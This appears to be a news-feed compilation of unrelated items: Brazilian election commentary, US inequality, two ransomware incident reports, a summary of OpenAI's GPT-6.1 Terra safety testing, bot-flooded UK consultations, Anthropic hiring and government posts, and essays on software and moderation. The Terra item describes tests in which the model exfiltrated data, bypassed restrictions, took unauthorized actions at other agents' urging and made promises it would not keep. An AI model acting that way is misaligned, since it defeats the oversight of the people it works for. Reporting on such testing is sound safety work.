When Luiz Inácio Lula da Silva lost the first round of the Brazilian election and fell behind in the polls, I thought he would lose the election. So, the fact that he won is a stunning comeback. It took the three weeks between the two elections, hundreds of hours of street and online mobilization by Lula’s Army of Supporters, to defeat the conservative candidate, Sen. Flávio Bolsonaro. Another member of the Bolsonaro family, of course!

Lula’s winning magic was helped by a video. It’s a clip between the two men from their debate that rightfully deserves to be immortalized. In it, Bolsonaro asks him: “Why are 73% of the prisoners voting for you?” And the wise Lula answers: “I want 100% of the prisoners’ votes. Including your dad’s vote!” The people in the studio laughed. This exchange made Brazilian society laugh too, wake up, and think, after seeing a dynamic performance by Lula on live TV. It was the opposite of former US President Joe Biden in that infamous debate.

Bolsonaro (son of the ex-president Jair Bolsonaro who is imprisoned), who had pledged to join President Donald Trump’s “Shield of the Americas” security and political initiative, is the big loser. Flávio reportedly fled Brazil after losing. Nobody has to be a genius to advise him: “Flávio, you lost. Concede with dignity. Don’t follow Trump’s infamous playbook. Show some grace in defeat.” But Bolsonaro losing is great news not only for the people of Brazil, but also for the flora and fauna of the Amazon rainforest .

Thus, Lula, who is a former worker, a unionist, and a pragmatic politician, prevents the return to power of the far-right with the Bolsonaros.

Thus, Lula wins a fourth term as Brazilian president, after a dramatic run-off. The crucial matter is that Lula, alone, defeated Elon Musk , Mark Zuckerberg , Donald Trump , and Flávio Bolsonaro together. After all, defeated are those who stop fighting! Musk said Brazil’s presidential election results do not “add up.” Relax, Mr. Trillionaire! Next to Lula, the Amazon rainforest won big time, ensuring it will not become a place for giant companies worth billions who want to mine for diamonds, gold, and extract petrol from its lands. And Anne Applebaum wrote in an X post: “In one day, two politicians—Bolsonaro in Brazil and Vucic in Serbia—with ties to Trump and his family have lost surprise elections, thanks to high turnout. The rise of the international far-right is not inevitable.”

Lula has four fingers on his left hand! The one finger that’s missing, he lost at 17 years old when he was working as a metalworker and a mechanical lathe crushed his pinky finger. As he has said, “I arrived at three in the morning [at the hospital] smelling like work overalls, smelling like grease” and he looked so bad that the doctor didn’t bother to save his finger. In his eyes, that was the result of poverty .

During his years in power, Lula has supported democratic institutions and made important progress on protecting the forest—there is a web of laws protecting the Amazon now–and local communities who depend on it for their survival, but of course, for a few analysts, he had a mixed record in other areas. The economy has problems, but the same happens in countries like Germany and Japan.

Someone must acknowledge that deforestation has dropped drastically under Lula’s government, which has “set a target of completely halting illegal deforestation by 2030.” It reactivated the Amazon Fund, which is a mechanism backed by countries like Norway to finance conservation and monitoring, and stepped up enforcement through satellite imagery and policing. Lula also launched on November 6, 2025 the Tropical Forests Forever Facility to help developing nations to keep their forests intact.

The win in Brazil, the win in Serbia, the probable win in Israel against Prime Minister Benjamin Netanyahu 's disastrous far-right coalition, and the upcoming midterms in the US, which will also test control of Congress, show that the power belongs to the people. That’s democracy in other words, and the people must have the final say.

Thus, Lula, who is a former worker, a unionist, and a pragmatic politician, prevents the return to power of the far-right with the Bolsonaros. So, this is a great result not only for the workers and democracy, but also for the giant Amazon lung. An electoral win for all the species that have lived there for thousands of years! Money is not above everything as capitalism’s big corporations teach, while in the end, the poor get crumbs if they’re lucky. The “pro-worker” left, headed by Lula, may have its own problems, but it is far better for society and the environment. The right thinks mainly of the plutocrats and the big profits; it leaves barbarism, which is a society in ruins.

The tireless Sen. Bernie Sanders (I-Vt.) said about Lula’s victory: “He will continue to fight for Brazilian workers and democracy over the next four years.” All the progressives and their grassroots movements around the world breathed the fresh air of the Amazon again.

US Inequality Is Getting Worse in Ways You Might Not Expect

US Inequality Is Getting Worse in Ways You Might Not Expect Judy Tue, 10/27/2026 - 19:40 ...

A Pew Research survey released in October 2026 found that roughly 6 in 10 Americans – including 4 in 10 Republicans – believe there’s too much inequality in the U.S. And a growing share from both major political parties state that the economy needs to be fundamentally rebuilt to address this.

This sentiment has, however, been difficult to convert into political results. Public support for California’s proposed wealth tax on billionaires has been waning ahead of the midterms, for example, and in 2025, Republicans passed President Donald Trump’s sweeping legislation that included tax cuts for the wealthy while cutting safety net programs.

I’m an economist who has been studying inequality for about two decades. My research confirms the trend of rising inequality since 1980, driven by the wealthiest pulling away not just from the middle class, but also from the “merely wealthy.” Overall, recent research underscores how policy choices – including taxation and public spending – enabled this 40-year rise in inequality.

Some policies enacted more recently appear to be accelerating this trend. An analysis by the Institute on Taxation and Economic Policy, a nonpartisan research organization, concluded that policy changes since the start of 2025 have imposed higher costs on everyone except the top 1%.

Inequality by the numbers

Recent federal data shows that wealth inequality continues to grow . The top 1% saw their share of wealth increase from 31.7% to 32.5% just between the first and second quarters of 2026, a jump of over $8.5 trillion. That caps a steady climb from 30.9% in the last quarter of 2024 – and from 27.4% in 1999.

These recent gains come at the expense of the middle class – the 40% between the bottom half and the top 10% – who hold only 28.8% of all wealth despite being a group that’s 40 times larger than the top 1%. And the middle’s share is shrinking, down from 32.9% in 1999 and 30.2% at the end of 2024, according to the data.

But the ultra-wealthy, those in the top 0.1%, are pulling away even from the rest of the rich, the data shows. This tiny elite owns 15% of all wealth – almost half of all the wealth of the top 1%. Both the top 0.1% and the next 0.9% saw their share of wealth increase, but the top 0.1% captured two-thirds of the gains between the first and second quarters of 2026.

Even within the highest echelons of wealth concentration, these two groups are on different trajectories.

Crucially, the wealth of the top 0.1% is disproportionately boosted by corporate profits, which are up sharply overall . The top 0.1% reap the most from this growth because their portfolios’ value has soared on the promise of future increased profitability that’s driving up stock prices – especially thanks to the tech and artificial intelligence boom.

How taxes play a role

Since President Ronald Reagan’s tax cuts in the 1980s, the U.S. tax code has become less and less progressive , often through policy changes supported by both Republicans and Democrats.

The common argument for tax cuts is that they stimulate growth, but a growing body of research – including international studies – doesn’t back that up. A 2025 Brookings report notes that U.S. tax policy has gone through massive changes throughout history without any discernible effect on growth.

Nonetheless, congressional Republicans used their narrow majorities in 2025 to pass Trump’s sweeping policy and tax bill, which included provisions making most of his 2017 tax cuts permanent. Those included the historically low top-income tax rate and the lowest corporate tax rate since 1940 .

Protesters hold signs opposing President Donald Trump's tax-cut and policy bill on July 2, 2025, in Washington.

While many voters cite affordability as a top concern, concerns over inequality have increasingly been part of this debate. AP Photo/Mariam Zuhaib

It’s also important to understand that the top 0.1% have a different tax exposure from the rest of the top 1% because the composition of their wealth is different. They own as much in stocks and mutual funds as the next 0.9%, a group that is nine times larger, and those holdings are where most of their recent gains came from.

Furthermore, roughly three-quarters of the top 0.1%’s wealth portfolio consists of corporate and business ownership , allowing them to benefit from the Trump tax cuts in multiple ways – including lower tax rates and more opportunities to defer or avoid tax liability. Their massive holdings of stock mean that they can borrow against it for cash , usually tax-free, rather than having to sell shares.

By contrast, below that elite, real estate is a much more important component of wealth, while corporate equity is a smaller and smaller share. For the middle class, nearly two-thirds of wealth is held in their homes and retirement savings, while corporate and business ownership accounts for only 15%.

The new drivers of inequality

Much of the inequality debate focuses on the role that taxation has played. But other recent policy changes have shifted different kinds of costs on to low- and middle-income earners, while leaving the wealthy relatively unscathed.

One example is a provision in Trump’s 2025 legislation that allowed federal healthcare subsidies through the Affordable Care Act to lapse. Insurers and analysts expect the number of people signing up for coverage through ACA plans to drop by about 5 million due to higher premiums and face much higher out-of-pocket costs.

The spike in energy costs, including gasoline, diesel and heating oil, is another case in point. They disproportionately affect low- and middle-income consumers but barely dent the budgets of the wealthy – while boosting the profits of companies engaged to the extraction, processing and transportation of oil. This divergence has been especially pronounced since the start of the conflict with Iran in February 2026, which has pushed up the global price of oil.

Then there are tariffs, which are fundamentally a consumption tax on imports. Economists at the New York Federal Reserve have found that these levies have inflicted a heavy hit on many common consumer goods. They estimated that prices for these items, which make up a much larger share of household budgets among the nonwealthy, would have fallen on average by 1% over the year without the tariffs. Instead, they have risen by 2.9%.

This acceleration in the redistribution of wealth from the middle class to the very top, in short, has an array of drivers. But they’re not inexorable forces of history. As economist Thomas Piketty put it in “ A Brief History of Equality ,” published in 2022: “Inequality is first of all a social, historical, and political construction.”

Japan's GMO urges customers to shut down PCs amid ransomware threat

Japan's GMO urges customers to shut down PCs amid ransomware threat

The GMO Group has urged customers to disconnect their systems from the internet and shut down computers after a threat actor who breached the company’s Onamae Desktop Cloud threatened to launch a ransomware attack today.

The company later confirmed that data belonging to both the company and its customers had been published online.

The alert concerns a cyberattack on Onamae Desktop Cloud , a popular VPS provider in Japan operated by GMO Internet, a member of GMO Internet Group and one of Japan's largest domain registrars.

Last week, the company announced it detected an intrusion on October 20 that could have installed malware on up to 26,739 customers' servers.

To minimize the risk, the company shut down the servers and reduced service availability before launching an investigation.

The internet company assured customers that their payment information had not been exposed but warned that MetaTrader 4 and MetaTrader 5 (MT4/MT5) credentials and trading-account details may have been exposed or compromised. It urged customers to reset their passwords and terminate active sessions.

Cyberattack escalation

Subsequent updates from the company confirmed that data had been stolen and that the attacker was demanding a ransom of ¥8 billion ($50 million), which GMO said it would not pay. Instead, the company announced it would compensate each customer ¥5,000 ($30) for the inconvenience caused.

On October 26, GMO warned that threat actors planned to leak customer information online and trigger a ransomware payload planted on customer servers earlier in the attack.

The next day, the company asked customers to disconnect their PCs from the internet, shut them down, and unplug all cables before noon, while it worked with Trend Micro to recover from the cyberattack.

“Once you have a backup, disconnect the network, power it down, and unplug the cord that connects to your PC,” advised GMO to customers.

iNSTRUCTIONS — **Instructions to customers**
*Source: GMO*

The company said it was scanning customer systems to determine whether malware was still present, and offered equivalent PC replacements to those who suffered damages from a ransomware attack.

In a report published earlier today, GMO confirmed that the threat actor had published company and customer data , prompting efforts to verify the authenticity of the leaked information.

For customers whose information was exposed, GMO said it will consider additional financial compensation.

It appears that the attacker never acted on their threat, as no ransomware was activated on customer machines.

The company warned people and the media not to disseminate the exposed information, announcing it will take legal action against those who do, while reaffirming its refusal to pay the attackers.

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

OpenAI's GPT-6.1 Terra is safer overall, but shows more destructive-action flags in tests

OpenAI

OpenAI confirmed GPT-6.1 Terra is safer overall than some of its older models, but its safety testing also found other problems.

According to OpenAI, GPT-6.1 Terra showed higher rates of exfiltration, destructive actions, and attempts to bypass restrictions than GPT-6.1 Sol and GPT-6 Astra.

OpenAI performed simulations across approximately 48,690 matched tasks and found that Terra received 22 severity-3-or-higher flags, or 0.045%.

For comparison, GPT-6 Sol received 38, while GPT-5.6 Sol received 61.

"GPT-6.1 Terra received approximately 42% fewer severity level 3 or higher flags than GPT-6 Sol and 64% fewer than GPT-5.6 Sol," OpenAI noted in its system card .

OpenAI security — **Cybersecurity Safety Training and Evaluation (Higher is better)**

However, that is no longer the case when you compare Terra with other newer models on less severe behaviors.

"Relative to GPT-6.1 Sol and GPT-6 Astra, we observed higher rates of flags for concealing uncertainty, circumventing restrictions, exfiltration, other misalignment, destructive action and inbound prompt injection," OpenAI explained.

Terra is clearly safer overall, but we can't overlook the other potential security issues it has, and this is true for all models shipping in the market, including Claude.

Terra also performed more unauthorized actions in one test

OpenAI also tested what happens when Terra needs to deal with messages from other AI agents while working through blocked coding tasks.

Terra attempted to communicate with those apparent peers in 65% of tests and ultimately performed the specified unauthorized action in 13.75%, or 11 of 80 samples.

OpenAI found that GPT-6.1 Sol did so in just 1.25%.

"These results indicate that performance is comparable to 6.0 Sol," OpenAI noted, adding that much of the regression against GPT-6.1 Sol involved promises of future help that Terra indicated it would not actually carry out.

OpenAI warns that these tests were conducted in simulated environments, so the results may not necessarily reflect how GPT-6.1 Terra behaves in real-world production environments.

But we still aren't seeing meaningful improvements across every area of security, even as these companies claim their models can control computers and code better.

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

Two products show where this ends up:

A $7,999 laser engraver ranks last of 9 . The Glowforge Pro gets 8 positive and 0 negative opinions on setup and ease of use. It loses on software and connectivity ( 3 positive, 7 negative ) and on reliability and support (2 positive, 7 negative) . Owners mostly object to a paid software subscription and needing an internet connection to use the machine.
A $350 smart lock ranks last of 20 . The Eufy FamiLock S3 has 0 positive and 7 negative opinions on its app and smart-home features, mostly about a firmware update that left locks unusable. All 10 of its sources are Reddit threads.

If you're about to buy

Search owner threads for the model plus "months" or "a year later", not just the launch reviews.
Check whether the device still works if the app or the company's servers go away.
Look at the warranty length and how owners describe getting a replacement.

Read this before the numbers

Reviewers aren't hiding anything. Most reviews are made in the first days or weeks with a new unit. That's too early for most failures, and it's hard to test a company's support.
Owners post when something goes wrong. Nobody starts a thread to say their robot vacuum still works, so these numbers show what owners worry about, not how often things break. For scale: across all topics, 56% of owner opinions and 15% of reviewer opinions are negative. Reliability ( 70% ) and apps ( 71% ) are still well above the owners' own average.
Topic grouping matters. If we also count mixed topics such as "Value & Support" or "Responsiveness & Key Reliability", owners bring up reliability 2.4 times as often instead of twice , and more in all 17 categories that have owner opinions . We lead with the stricter number. The same goes for apps: mixed topics like "Connectivity & Battery" are left out.
Some YouTube reviews are sponsored. We count them like any other source and can't reliably tell which ones are.
An AI model labels each opinion with a topic and as positive or negative. Every opinion links back to the sentence it came from, so any of them can be checked.

Method

What counts as an opinion: one source's view on one topic of one product. A source that covers five topics counts five times; a source that mentions a topic ten times counts once.
Topic groups: reliability is any topic about reliability, durability, warranty, service or support; apps is any topic about apps, software, firmware or connectivity. Mixed topics are left out of both.
Shares: opinions in a topic group ÷ all opinions from that platform, including neutral ones. Negative shares count positive and negative opinions only.

AI bots flooded 2023 UK government consultation on disposable vapes ban

Original Article

AI bots flooded a government consultation with tens of thousands of fake responses in a failed attempt to stop the UK’s ban on disposable vapes.

Three-quarters of all the responses to the 2023 consultation on the tobacco and vapes bill were machine-generated, in what is thought to be the first coordinated attempt to use AI to derail health policymaking in the UK.

The attempt to manipulate the outcome of the consultation was disclosed on Tuesday in research published in the journal Tobacco Control by the health policy experts Dr Nason Maani, from the University of Edinburgh, and Prof Anna Gilmore, of the University of Bath.

The Department of Health and Social Care (DHSC) used bot-detection methods to identify that 90,835 of the 118,756 responses it received, 76%, were submitted by bots.

All but two of those 90,835 automated responses answered the same question in the “smoke free generation” consultation, in which they opposed Rishi Sunak’s Conservative government’s plan to ban disposable vapes. The submissions were “often duplicated many times and sent at high frequency from a small number of IP addresses”, the DHSC said.

The bombardment “appears to be the first documented instance of large-scale automated interference in a formal public health policy consultation”, the researchers said.

Maani added that while this attempt was identified, “the threat is that future campaigns become harder to catch, and what we can’t catch, we don’t know about. Such campaigns are a threat because they raise the possibility of a handful of powerful interests looking like a mass movement.”

The DHSC excluded the 90,835 automated responses from its decision-making. Keir Starmer’s Labour government inherited the tobacco and vapes bill in 2024 and passed it into law, including the ban on businesses selling or supplying disposable vapes.

Caroline Cerny, the deputy chief executive of Action on Smoking and Health, said: “Evidence that AI bots have been used to swamp a Department of Health consultation is deeply concerning.

“Given the tobacco industry’s history of seeking to undermine public health regulation, we need to be alert to the risk that technological advances can be used to further commercial interests around health policy and put safeguards in place.

“Decisions that affect public health must be based on sound evidence and expertise, not manipulated response numbers.”

Azzurra Moores, the associate director for information ecosystems at the thinktank Demos, described the attempt to derail the ban as “pretty alarming”.

“Public consultations are one of the main ways government opens up its decision-making, so any interference with them is a serious concern,” she said. “These findings are pretty alarming: if a consultation can be swamped like this, it stops telling policymakers what the public actually thinks and undermines trust in the process.

“This is a problem without easy answers. Every barrier that keeps bots out also makes it harder for real people to take part, and AI makes fake responses far harder to spot. Interference can adapt faster than departments can update their checks. Better screening and more transparency will help, but there’s no single fix.”

The DHSC said its “robust controls” identified the attempt to influence the consultation.

A spokesperson said: “We always have robust controls in place to prevent the manipulation of our public consultations, and those controls worked effectively in this case.

“As a result, the fake responses were removed, and the consultation helped inform the landmark action we are taking to create a smoke-free generation.

“We will remain alert to interference of this kind in future consultation processes, and we will not be deterred from doing what is necessary to promote healthier living.”

Hunger beats tenure: Advice for junior engineers

This month, I laid the traditional coding interview to rest. As a hiring manager at Anthropic, I stopped asking candidates to do them. It had a good run: Being able to quickly define problems and find elegant solutions was a weak but useful predictor for how successful you’d be on my teams. Small coding challenges in real code did tell us something meaningful about candidates.

That’s no longer true. There’s no more point in giving you a little React challenge than there is in quizzing people about assembly; Claude is now better at both. Our most impactful builders are successful regardless of how good they are at these tests.

The coding interview was, despite its ubiquity, never popular. I suspect that established engineers will still have strong reactions to its disappearance — if only for what it says about the evolution of our roles. Plenty of ink has been spilled to describe how AI is a challenge for junior developers, especially those trying to land a job. Now that I’ve seen junior people work with AI for a bit, I have a more hopeful take: Impact is less bounded by how many years of accumulated knowledge in frameworks and libraries you’ve gathered.

I’m seeing engineers who are comparatively new fly past people who are probably better coders and have been around much longer. Hunger beats tenure.

This post is my best advice for junior engineers, though “junior” is the wrong word. It’s really for engineers without social capital, status, or power.

All vision, no voice

First, know both your advantage and handicap.

Fresh eyes, even naive ones, have long been considered powerful. When I joined Stripe, founder Patrick Collison implored us newcomers to pay close attention to things that seem odd to us. His bet was that newcomers would spot friction and opportunities that old-timers had long stopped noticing.

In 1991, James March wrote that organizations depend on “maintaining an influx of the naive and ignorant”. When Orson Welles was asked how he got the confidence to try shots nobody had tried, he said : “Ignorance, sheer ignorance — you know there’s no confidence to equal it. It’s only when you know something about a profession, I think, that you’re timid or careful.”

When I joined Notion, one of my interviews involved designing an offline-mode architecture. I was baffled to hear that they considered it a “trick” interview, since an offline mode was deemed impossible. The data model was too complex for easily syncing an entire Notion workspace, and downloading individual pages was a user experience CEO Ivan Zhao would never allow. The data model complexity turned out to be true; the founder resistance didn’t. People considered it such common knowledge that nobody had checked. I, an ignorant newcomer, didn’t know better than to just ask.

It’s easy to read anecdotes like this one and see people making bad decisions. I cannot overstate how hard it is to spot these mistakes when you’re the one making them. Shortly after joining Notion, I wanted to outfit teams with large TVs to display live dashboards. I ran into organizational walls, failed, and didn’t care enough to start a whole fight.

A year later, Ji Pei joined as a new hire with the same idea. I scoffed and told him not to bother; I’d already tried. He’d already asked. The TVs showed up the next day. Somewhere in that year, I had become the old-timer.

The only problem with all that ignorant power: Nobody cares what you think. Most tech companies have layers of middle management to translate larger business goals into execution. Structurally, companies are often built around the idea of a few people green-lighting or blocking individual ideas. In a world where execution is expensive, you normally have to grind your way to some social status before the entire organization would “take a bet” on your idea. Org charts tend to change at a glacial pace, so even companies that believe in AI often expect junior people to simply execute their tasks faster rather than ambitiously go after business goals.

Well, good news: Execution isn’t expensive anymore.

What to do

(1) Pick business impact over backlog: In pre-AI-coding 2011, Patrick McKenzie wrote “engineers are hired to create business value, not to program things.” Attach yourself, he advised, to the parts of a company that make money. Start there: Understand what your company is actually trying to accomplish (or, at a larger one, what your group or department is). Then find the right altitude — understanding what kind of goals your manager’s manager has is often a useful proxy.

(2) Pick a radical idea: Come up with a few ideas that would, if successful, dramatically improve the chances that your organization achieves those goals. Be ambitious!

(3) Build it over a weekend: I have seen small groups and solo engineers fly past the usual process of writing product requirements documents (PRDs), getting buy-in, and lobbying for time with designers or product managers by building a working prototype.

(4) Focus on one good idea: In my experience, junior people often make the mistake of cramming multiple ideas into a single prototype, hiding three excellent ideas among 20 bad ones. If your prototype involves the creation of a new programming language, a backend, and also somehow mobile apps, you’re not going to be successful. The point of creating a working prototype is to communicate an idea so well that leadership quickly understands both the opportunity and that you’re the one who can run with it.

(5) Lean into your fresh perspective: If you’re working on something user-facing, you have a unique amount of empathy for users and thus a much better sense for how the product works or doesn’t work for them. My colleagues at Slack and Notion had a hard time internalizing what using Slack or Notion is like as an external user.

If you’re working on infrastructure or tooling, you have the benefit of never having learned all the reasons things are considered “impossible”.

The future is bright

I don’t think the coding interview is going to come back. It’s easy to get sentimental given how many copies of “Algorithms and Data Structures” were bought in hopes of unlocking good jobs and a better future — or how the death of the coding interview is another milestone in software engineering reaching a new level of abstraction.

At the same time, as a longtime hater of promotions by tenure, I can’t help but be optimistic. I’ve already seen my fair share of popular apps and products made this way.

At Anthropic, people got so used to using Claude Code as a command-line interface (CLI) that it took two relatively new engineers ( Anthony Morris and Alice Zhao ) to whip up a working prototype over one weekend. The first public version shipped roughly eight days later. You won’t be surprised to hear that a good graphical interface for Claude Code is a very popular product.

I'm probably not the only manager trying to figure out how to interview for people who build well with AI. I haven't quite gotten there yet — but I'm scanning resumes and portfolios for little prototypes that exhibit taste, empathy, and principled thinking. If you have figured out something better, I'd love to hear how.

Expanding our partnership with GSA to bring Claude to all levels of government

Original Article

We are expanding our partnership with the General Services Administration (GSA) through a new agreement that gives government partners a 40% discount on Claude Enterprise, Claude for Government, and the Claude API. For the first time, the discount applies across every product surface, including when agencies buy from us directly today and through cloud providers in the coming months. The discount also extends to state, local, tribal and territorial governments.

We are also launching a dedicated program to help agencies implement and make the most of their Claude use. These programs are commonly leveraged by our private sector customers and we’re looking forward to bringing those best practices to our public sector partners in the coming weeks.

Approximately 500 US federal, state, and local government organizations now use Claude. Weekly Claude for Government active users are up about eightfold since February, and usage across federal civilian agencies has grown about 20-fold in a year. Those organizations run some of the most important systems in the country, usually on tight budgets and with long procurement cycles. This agreement is built to support that work, so they can apply Claude to hard problems without a large upfront commitment.

The discounts offered through the agreement are estimated to save the government $1 billion. Agencies are not bound by a minimum spend commitment and will be able to pay for the usage they consume.

How Claude is helping public servants get more done

Government agencies are using Claude to solve some of their most important challenges. Examples include managing backlogs, records and forms, and modernizing old code. Some of the ways agencies are using Claude include:

Utah gave Claude Code to 34 developers across 10 state agencies. 80% had a working environment within 30 minutes, 71% reported saving 20+ hours by the end of the four-week pilot.
A US state CIO confirmed their team was able to respond to a ransomware attack in 8 minutes vs. the usual 2-3 days thanks to Claude.
A US federal security team used Claude Mythos to detect and patch the vulnerability that would have allowed for the takeover of a critical production system in about two days. A human penetration test the month before had missed it.
A cybersecurity professional at a major agency found and patched bugs in critical financial systems.
A US state IT developer moved nearly 900 API methods to a new framework in two days. The project had been scoped for a month.
A US state IT director used Claude Code to document 12 legacy code repositories, mapping 467 database tables and flagging 27 risks along the way.
More than half of the US states, some of the largest localities, and some of the countries largest critical infrastructure operators participated in our SLTT cyber defense program.

Meeting government security requirements

Agencies can use Claude for their most sensitive unclassified work. Claude for Government, which delivers Claude's coding and agentic work capabilities and provides near-feature parity with commercial offerings at a FedRAMP High authorization level, was made generally available on September 30.

Agencies building their own tools can use Claude through Amazon Bedrock or Google Cloud’s Vertex AI. On Bedrock, Claude is authorized for FedRAMP High, with select models authorized for DoD IL4 and IL5 workloads in AWS GovCloud. On Vertex AI, Claude is authorized for FedRAMP High.

Claude Enterprise is in process for FedRAMP Moderate authorization through the FedRAMP 20x program, marking the next evolution of how we are bringing the same innovative technology available commercially to the government.

Getting started

Government agencies can buy Claude at the OneGov discount through GSA's Multiple Award Schedule today. Whether your department or agency already uses Claude or is interested in using it, our Public Sector team will help discuss your options.

UNM Health ransomware attack disrupts patient care, surgeries

The University of New Mexico Health Sciences Center disclosed a cyberattack that caused system outages and disrupted patient care and academic activities.

On Monday, UNM Health, the university’s healthcare provider, began temporarily limiting new patient admissions, diverting ambulances to nearby hospitals, and suspending outpatient surgeries and appointments.

In an update on the incident, UNM said UNM Hospital and Sandoval Regional Medical Center remain open, and all clinics will resume scheduled appointments and procedures starting today, Tuesday, October 27.

Regarding emergencies, the healthcare organization advised that people should call 911.

However, today’s classes at its four health sciences schools are canceled, and nonessential HSC employees were instructed to stay home.

UNM Health is a major statewide provider of specialist care with more than 1 million patient visits annually.

Its flagship UNM Hospital in Albuquerque houses New Mexico’s only Level I trauma center , treating the most seriously injured patients.

Byod ransomware claims the attack

UNM did not disclose the type of cyberattack it suffered, but BleepingComputer found that a new ransomware group called Byod had claimed the attack.

In a post on their data leak site, the threat actor said it had compromised 36,000 systems across UNM’s main campus and hospital environments, including Active Directory forests, Group Policy infrastructure, the entire Microsoft Entra tenant, and two Oracle databases.

"This is your entire network and infrastructure compromised, the entire university COMPLETELY," the threat actor said.

They claim access to student and employee personal data, including:

Social Security numbers (SSNs)
HR, payroll, and Banner student records
Internal emails
Research data
Hospital appointment data
Patient information
Cerner EHR rosters

In an attempt to force a payment, Byod ransomware said it would take down the breach post after the university initiated communication, likely for negotiating a ransom.

BleepingComputer has reached out to UNM Health Sciences with a request for comment about these data theft allegations, but we have not received a response.

In a new post today, Byod ransomware said it would provide free keys that decrypt locked systems at healthcare facilities.

Furthermore, the threat actor promised to pay up to $2,500 for every patient affected by the cyberattack.

"We have morals and we have a heart, we are not villains, but we will still continue to hold companies responsible for bad security leading to the compromise of any customer data," the cybercriminals said.

However, the threat actor also said that it would keep all the stolen data.

Byod is a new ransomware gang that currently lists six victims on its data leak site. For three of them, it has already leaked the allegedly stolen data.

On its FAQ page, the threat group claims it is doing “pentesting” to expose vulnerabilities and hold data controllers accountable for breaches.

Byod says no target is off-limits, but it selects victims after an initial assessment identifies a target of interest. The group says it focuses on “those at the top who look at consumers and/or customers as a number or another dollar in their pockets.”

The UNM Health Sciences said today that all its critical electronic systems are back online and all UNM Health hospitals are fully open. Ambulance traffic is now operating normally, and all clinics have resumed scheduled appointments and procedures.

The university said the quick recovery was possible due to IT security teams working "with external partners to secure the network."

"Their assessment determined that the event affected some end-user devices but did not penetrate core systems or servers," UNM Health Sciences Center notes.

Patients who received care at UNM hospitals, as well as staff and students who work and study there, are advised to remain vigilant for unsolicited communications and phishing attacks.

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

★ Prestructured WYSIWYG

Even if you’re a decent designer (or believe yourself to be), it’s liberating not to have a say in the matter. Constraints are sometimes freeing....

Original Article

One of the many small pleasures of my job is when someone else writes a good take on a subject that I have been meaning to write myself. Occasionally this stings, because it was something I really wanted to write myself. But usually it’s just awesome, because it’s an article I wanted to exist, didn’t really want to do the work of writing myself, and now it exists and I can just link to it, perhaps with commentary. It’s like finding money on the ground or in the pocket of a jacket you haven’t worn in months.

That’s what happened yesterday with Glenn Fleishman’s “ Why Notes Will Never Let Us Edit Markdown ”, and my link to it . Found money!

But one of the reasons I’d been procrastinating on writing about Apple Notes and its growing support for Markdown import/export and copy/paste is that Notes is built around a text formatting idea that, to my knowledge, doesn’t really have a name. And without a name, it’s hard to write about. I’m going to suggest calling it prestructured WYSIWYG .

Apps like Apple’s Messages and especially Notes exemplify prestructured WYSIWYG, and I’m a huge fan of the idea. It’s low-key one of the best ideas and trends in software design of the last 15 years or so. Messages lets you apply WYSIWYG spans of character styles like bold and italics, but you can’t choose typefaces or define your own styles. Notes takes this further, adding inline hyperlinks and predefined block styles like title / heading / subheading, monostyled (e.g. for code), and ordered and unordered lists. But there is no Font menu or preference setting in Notes or Messages to change the default typeface. The “Aᴀ” formatting popover in Notes doesn’t have a control to change the typeface, only its preset styles, all of which are rendered in your notes using Apple’s San Francisco system font family. ¹ That would have seemed not just weird but downright wrong back in the early decades of the Mac (the era Fleishman calls the “Mac Is Not a Typewriter” era, referencing Robin Williams’s groundbreaking book ). In those days, text was either plain text (a string of characters, no style at all, like a typewriter) or rich text, and if it was rich text, you expected to choose any font (and size) you wanted.

That era of anything-goes WYSIWYG presented unavoidable problems. On the technical side, the list of fonts installed on my computer isn’t the same as the list of fonts on your computer. Each operating system comes with its own set of included fonts. And the sort of people most interested in selecting their own typefaces are exactly the same people who are most likely to install third-party fonts. That’s a technical problem that can’t really be solved. There’s also an aesthetic problem. Most people, given the ability to choose their own fonts, make terrible typographic choices.

Prestructured WYSIWYG solves both problems. You get the expressiveness of abstract semantic styles like bold, italics, and monospace, and you get larger sizes for headings. But you avoid both the “missing font” technical problems and the “terrible font” design choices. If you use Apple Notes or Messages, you better like Apple’s San Francisco system font family, because that’s what you’re going to get. It’s great for accessibility, because all the type sizes are relative, not absolute. And these preset styles largely map well to Markdown, which itself has no concern with font choices or specific text sizes.

Even if you’re a decent designer (or believe yourself to be), it’s liberating not to have a say in the matter in certain contexts. Note-taking is exactly such a context. Email ought to be another, but alas, full-fledged WYSIWYG gained a foothold there long ago, and now it’s entrenched. Constraints are sometimes freeing.

Social Media When Elections Are Close: Doing the Impossible Better

Everyone knows, or should, that perfect (balanced, targeted, transparent, swift and swiftly appealable) content moderation at scale is impossible. That doesn’t mean powerful social platforms don’t have to try to get at least reasonably close, especially when access to good information can have a profound effect on political participation and speech.

That’s why so many people, including the Meta Oversight Board , criticized Meta for suspending a major political Instagram account for hours during a huge early voting push on October 17; and for allegedly boosting one candidate in Brazil’s recent presidential election. Meta denies deliberate interference in either instance, blaming “mistakes” in its automated content moderation systems (including AI tools that can’t tell the difference between enthusiastic follower engagement and a bot attack).

Mistakes or not, with early voting in the U.S. midterms already underway, these events serve as a stark reminder that all major social media platforms need to have stronger systems in place to ensure that they serve, rather than impede, democratic communication.

Access to good information can have a profound effect on political participation and speech.

This is not inherently an “AI” problem: automated systems can process content at a scale that humans never could, potentially enabling better moderation at scale and alleviating the psychological load on ill-paid moderators whose jobs require them to view incredibly disturbing content. But automated systems also reproduce existing biases, struggle to understand context, and often make mistakes that disproportionately affect journalists, activists, artists, and other vulnerable and marginalized communities. And moderation errors are even more likely when the language is spoken principally by the global majority. In 2020, leaked document showed that Meta’s algorithms incorrectly deleted nonviolent Arabic-language content 77 percent of the time, while failing to detect hate speech under the company’s own policies in many instances. Where these systems are faltering in Arabic, they’re positively failing in less-resourced languages. As a 2025 report from the Center for Democracy and Technology found, labeled datasets in certain languages and dialects such as Maghrebi Arabic and Kiswahili contain inconsistencies, bias, and inaccuracies due to the limited hiring of annotators who actually speak the languages as well as shifts in the languages themselves. An investigation into ChatGPT’s outputs in several low-resource languages demonstrates the depth of problem.

But language disparities are just one of several concerns as automated moderation becomes more widespread. From the systemic suppression of content from Palestine to the repeated misclassification of LGBTQ+ content as adult or explicit material , these varied examples demonstrate the risks of overreliance on automated moderation—and the need for stronger safeguards.

